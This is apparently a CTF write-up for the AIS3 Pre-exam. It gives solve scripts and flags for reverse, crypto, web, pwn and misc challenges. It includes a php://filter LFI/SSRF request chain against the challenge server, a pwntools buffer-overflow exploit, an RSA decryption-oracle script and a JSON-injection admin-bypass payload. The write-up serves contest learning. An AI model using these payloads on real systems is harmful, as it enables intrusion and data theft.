# AIS3 Pre-exam Writeup > 此 writeup 只有概述解題過程而已 > Hackmd link: https://hackmd.io/@CSY54/AIS3_Pre-exam_Writeup [TOC] --- <!-- <br><br><br><br><br><br><br><br><br><br><br> --> ## Reverse ### Trivial 把程式 strings 出來即可得到 Flag 了 Flag: `AIS3{This_is_a_reallllllllllly_boariiing_challenge}` ### TsaiBro 觀察 IDA Decompile 出來的結果可以發現: 輸出格式為 `發財%.*s發財%.*s` 其中前後兩個 `*` 的參數分別為當前字元在 `"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXY0123456789{}_"` 中之 index `/ 8 + 1` 及 `% 8 + 1` 的值 ```python= data = open("flag.txt", "r").read().split("\n")[1].replace("發財", " ").split() a = [len(i) for i in data] a = [(a[i] - 1) * 8 + (a[i + 1] - 1) for i in range(0, len(a), 2)] charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXY0123456789{}_" print(''.join(charset[id] for id in a)) ``` Flag `AIS3{y0u_4re_a_b1g_f4n_0f_tsaibro_n0w}` ### HolyGrenade 用 uncompyle6 將題目所給之 .pyc 檔轉換成 .py 檔 觀察 code 可以得知 output 為 flag 四個字四個字經過函式 `OO0o` 加密後的結果 故只要四個字四個字暴力嘗試 flag 即可 (因確定 flag 之前四個字元為 `AIS3` 所以跳過) ```python= import string from hashlib import md5 result = open("output.txt", "r").read().strip().split("\n")[1:] charset = string.digits + string.ascii_letters + "{}_" def OO0o(arg): arg = bytearray(arg, 'ascii') for i in range(0, len(arg), 4): id0 = arg[i] id1 = arg[(i + 1)] id2 = arg[(i + 2)] id3 = arg[(i + 3)] arg[i] = id2 arg[i + 1] = id0 arg[i + 2] = id3 arg[i + 3] = id1 return arg.decode('ascii') flag = "" for res in result: found = False for i in charset: for j in charset: for k in charset: for l in charset: sub = i + j + k + l if res == OO0o(md5(bytes(sub)).hexdigest()): flag += sub found = True break if found: break if found: break if found: break print(flag) print("AIS3" + flag) ``` Flag `AIS3{7here_15_the_k1ll3r_ra661t}` --- <!-- <br><br><br><br> --> ## Crypto ### TCash 只要將 `cand` 中的所有字元暴力嘗試一輪即可 ```python= from hashlib import md5, sha256 cand = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPWRSTUVWXYZ1234567890@,- _{}' _md5s = [41, 63, 46, 51, 6, 26, 42, 50, 44, 33, 29, 50, 27, 28, 30, 17, 31, 19, 46, 50, 33, 45, 26, 26, 29, 31, 52, 33, 1, 45, 31, 22, 50, 50, 50, 50, 50, 31, 22, 50, 44, 26, 44, 49, 50, 49, 26, 45, 31, 30, 22, 44, 30, 31, 17, 50, 50, 50, 31, 43, 52, 50, 53, 31, 30, 17, 26, 31, 46, 41, 44, 26, 31, 52, 50, 30, 31, 26, 39, 31, 46, 33, 27, 1, 42, 50, 31, 30, 12, 26, 27, 52, 31, 30, 12, 31, 46, 26, 27, 14, 50, 31, 22, 52, 33, 31, 41, 50, 46, 31, 22, 23, 41, 31, 53, 26, 21, 31, 33, 30, 31, 19, 39, 51, 33, 30, 39, 51, 12, 58, 60, 31, 41, 33, 53, 31, 3, 17, 50, 31, 51, 26, 29, 52, 31, 33, 22, 26, 31, 41, 51, 54, 41, 29, 52, 31, 19, 23, 33, 30, 44, 26, 27, 38, 8, 50, 29, 15] _sha256s = [61, 44, 3, 14, 22, 41, 43, 30, 49, 59, 58, 30, 11, 3, 24, 35, 40, 46, 3, 42, 59, 36, 41, 41, 41, 40, 9, 59, 23, 36, 40, 33, 42, 42, 42, 42, 42, 40, 44, 42, 49, 24, 49, 28, 42, 33, 24, 36, 40, 24, 33, 10, 24, 40, 35, 42, 42, 42, 40, 39, 9, 42, 3, 40, 24, 35, 24, 40, 3, 61, 49, 24, 40, 9, 42, 24, 40, 41, 17, 40, 12, 57, 11, 23, 43, 42, 40, 24, 18, 41, 11, 9, 40, 24, 18, 40, 3, 41, 11, 12, 42, 40, 44, 9, 59, 40, 61, 42, 3, 40, 44, 13, 61, 40, 3, 24, 29, 40, 59, 24, 40, 19, 18, 6, 59, 24, 18, 6, 22, 0, 39, 40, 61, 57, 3, 40, 17, 35, 42, 40, 58, 24, 58, 9, 40, 59, 44, 24, 40, 61, 48, 52, 61, 58, 9, 40, 19, 13, 59, 24, 53, 41, 11, 55, 55, 42, 58, 18] flag = "" for id in range(len(_md5s)): for ch in cand: if int(md5(ch.encode()).hexdigest(),16)%64 == _md5s[id] and int(sha256(ch.encode()).hexdigest(),16)%64 == _sha256s[id]: flag += ch break print(flag) ``` Flag `AIS3{0N_May_16th @Sead00g said Heeeee ReMEMBerEd tH4t heee UseD thE SAME set 0f On1iNe to01s to S01Ve Rsa AeS RCA DE5 at T-cat-cup, AnD 7he kEys aRE AlWAys TCat2019Key}` ### RSA101 觀察可以發現:對於大於等於 $\varphi$ 的數在模 $\varphi$ 後再模 64 的結果不會等於 $\varphi$ 直接模 64,故可以二分搜 $\varphi$ 的值 得到 $\varphi$ 後,可以透過下面的性質求出 $p, q$ 性質: From the definition of $\varphi$ $$ \begin{align*} \varphi &= (p - 1) \times (q - 1) \\ &= pq - p - q + 1 \\ &= (N + 1) - (p + q) \\ \end{align*} $$ Then, $$ \begin{align*} &\Rightarrow p + q = (N + 1) - \varphi \\ &\Rightarrow q = N + 1 - \varphi - p \end{align*} $$ Substitute $q$ into $N$ $$ \begin{align*} N &= pq \\ &= p(N + 1 - \varphi - p) \\ &= -p^2 + p(N + 1 - \varphi) \end{align*} $$ We can get $$ p^2 - p(N + 1 - \varphi) + N = 0 $$ By solving the quadratic equation above using formula with $$ \begin{align*} a &= 1 \\ b &= -(N + 1 - \varphi) \\ c &= n \end{align*} $$ We can get the value of $p$ and $q$, thus decrypt the RSA ```python= from pwn import * import binascii, gmpy2 HOST = "pre-exam-chals.ais3.org" PORT = 10201 def sqrt(n): l, r = 0, 10 ** len(str(n)) while l < r: m = (l + r) // 2 if m ** 2 > n: r = m else: l = m + 1 return l - 1 r = remote(HOST, PORT) e_n = r.recvline().split("(")[2][:-2] e, n = map(int, e_n.split(",")) enc = int(r.recvline().split(":")[1].strip()) r.recvlines(2) L, R = 0, 10**len(str(n)) while L < R: M = (L + R) // 2 r.recvline() r.sendline(str(M)) res = int(r.recvline().split("= ")[1]) if M % 64 != res: R = M else: L = M + 1 phi = L D = (n + 1 - phi) ** 2 - 4 * n sqrt_D = sqrt(D) while sqrt_D ** 2 != D: sqrt_D -= 1 p = ((n + 1 - phi) + sqrt_D) / 2 q = ((n + 1 - phi) - sqrt_D) / 2 d = gmpy2.invert(e, phi) print(binascii.unhexlify('%x' % pow(enc, d, n))) ``` --- <!-- <br><br><br><br> --> ## Web ### SimpleWindow 訪問 `/flag` 頁面即可 Flag `AIS3{D0_y0u_kn0w_Serv1ce_W0rker?}` ### Hidden 觀察網頁的 .js 檔可以發現大約在最後有一段意義不明的 code 抓下來修改一下在本地執行即可得到 Flag ```javascript= var r = function(a, b, c, d, e) { return function() { var r = Array.prototype.slice.call(arguments), t = r.shift(); return r.reverse().map(function(r, e) { return String.fromCharCode(r - t - 25 - e) }).join('') }(12, 144, 165, 95, 167, 140, 95, 157, 94, 164, 91, 122, 111, 102) + a.toString(36).toLowerCase() + b.toString(36).toLowerCase().split('').map(function(r) { return String.fromCharCode(r.charCodeAt() + -13) }).join('') + c.toString(36).toLowerCase() + d.toString(36).toLowerCase().split('').map(function(r) { return String.fromCharCode(r.charCodeAt() + -13) }).join('') + e.toString(36).toLowerCase() + function() { var r = Array.prototype.slice.call(arguments), t = r.shift(); return r.reverse().map(function(r, e) { return String.fromCharCode(r - t - 44 - e) }).join('') }(18, 190, 127, 170, 113) }; console.log(r(4, 21, 1234274547001, 21, 579)); ``` 註:因為數字加上 `.toString()` 在本地會噴錯誤所以改為傳參數進函式 Flag `AIS3{4r3_y0u_4_fr0n73nd_g33k?}` ### d1v1n6 可以很明顯地發現這題是 LFI ,所以就直接來吧 Req: (有點忘了是不是這個) http://pre-exam-web.ais3.org:10103/?path=php://filter/read=convert.base64-encode/resource=index.php Res: ```php= <?php if ($_SERVER['REMOTE_ADDR'] == '127.0.0.1') { // show path of the flag die($_ENV['FLAG_HINT']); } if ($path = @$_GET['path']) { $path = trim($path); if (preg_match('/https?:\/\/([^s\/]+)/i', $path, $g)) { // resolve ip address $ip = gethostbyname($g[1]); // no local request if ($ip == '127.0.0.1' || $ip == '0.0.0.0') die('Do not request to localhost!'); } // no flag in path $path = preg_replace('/flag/i', '', $path); if ($content = @file_get_contents($path, FALSE, NULL, 0, 1000)) { // no flag in content if (preg_match('/flag/i', $content)) { die('De ``` 發現如果從本地訪問的話就會噴 Flag 的提示 Req: http://pre-exam-web.ais3.org:10103/index.php?path=php://filter/read=convert.base64-encode/resource=http://localhost/index.php Res: ```text FLAG_14d65189669f05d206764c9de441474d.txt ``` Req: http://pre-exam-web.ais3.org:10103/index.php?path=php://filter/read=convert.base64-encode/resource=14d65189669f05d206764c9de441474d.txt Res: ```text ^`. o ^_ \ \ o o \ \ { \ o { \ / `~~~--__ { \___----~~' `~~-_ ______ _____ \ /// a `~._(_||___)________/___ / /~~~~-, ,__. , /// __,,,,) o ______/ \ \/ \/ `~~~; ,---~~-_`~= \ \------o-' \ / / / / '._.' _/_/ ';|\ Your flag: AIS3{600d_j0b_bu7_7h15_15_n07_7h3_3nd} Hints for d1v1n6 d33p3r: - Find the other web server in the internal network. - Scanning is forbidden and not necessary. - Flag is stored as an environment variable. ``` Flag `AIS3{600d_j0b_bu7_7h15_15_n07_7h3_3nd}` --- <!-- <br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br> --> ## Pwn ### Welcome BOF 這題很明顯是 BOF 不過我原先對 BOF 的了解是蓋掉 ebp / rbp ,這樣在 return 後會跳到 ebp / rbp 的 address 上 如此就可以跳到我要的 function 上了 後來才知道要蓋掉的應該是 return address 不然這題告知 Ubuntu 版本的目的就沒用了 原先的 exp : ```python= from pwn import * HOST = "pre-exam-pwn.ais3.org" PORT = 10000 addr = 0x400687 r = remote(HOST, PORT) print(r.recv()) r.sendline('a' * 48 + p64(addr)) r.interactive() ``` --- <!-- <br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br> --> ## Misc ### Are you admin? 因為題目是將變數內容直接塞入字串中再 parse 成 json 故我們可以透過類似 SQL Injection 的技巧將原字串內的文字註解掉 結果如下: ```shell Your name: ", "is_admin": "yes"/* Your age: */,"":" AIS3{xxxxxxxxxxxx} ``` Flag `AIS3{RuBy_js0n_i5_s0_w3ird_0_o}` ### Crystal Maze 就只是走迷宮而已, DFS 可以搞定 ```python= from pwn import * HOST = "pre-exam-chals.ais3.org" PORT = 10202 SIZE = 16 direction = ['up', 'left', 'down', 'right'] def dfs(path): for d in range(4): # prevent from going back if len(path) and d == (2 + path[len(path) - 1]) % 4: continue r = remote(HOST, PORT) r.recvuntil(": ") # send known path for id in path: r.sendline(direction[id]) r.recvuntil(": ") # send new path r.sendline(direction[d]) res = r.recvline() r.close() if "ok" in res: r.close() dfs(path + [d]) elif "wall" not in res: print(res) exit() dfs([]) ``` Flag `AIS3{4R3_Y0U_RUNN1NG_45_F45T_45_CRY5T4L?}` ### KcufsJ Trivial, just a reversed jsfuck code Reverse 一下然後丟上瀏覽器的 console 就可以了 Flag `AIS3{R33v33rs33_JSFUCKKKKKK}` ### Welcome Trivial ### WTF 看到圖片第一個直覺是迷宮 不過找了好久找不到缺口(起點 / 終點) 後來是在有點放棄的情況下寫了 Flood Fill 亂做才發現是對的 ![](https://i.imgur.com/fDZGG7K.jpg) ```python= from PIL import Image original_path = "./WTF/" res_path = "./Result/" filename = "challenge_{}.png" white = (0xff, 0xff, 0xff) red = (0xff, 0x00, 0x00) dx = [ 0, -1, 0, 1] dy = [ -1, 0, 1, 0] for i in range(0, 51): img = Image.open(original_path + filename.format(i)).convert("RGB") pix = img.load() queue = [] for st in range(2, 999): if pix[(2, st)] == white: queue.append((2, st)) break while len(queue): x, y = queue[0] pix[(y, x)] = red del queue[0] for d in range(4): nx, ny = x + dx[d], y + dy[d] if pix[(ny, nx)] == white: queue.append((nx, ny)) img.save(res_path + filename.format(i)) ``` ###### tags: `CTF`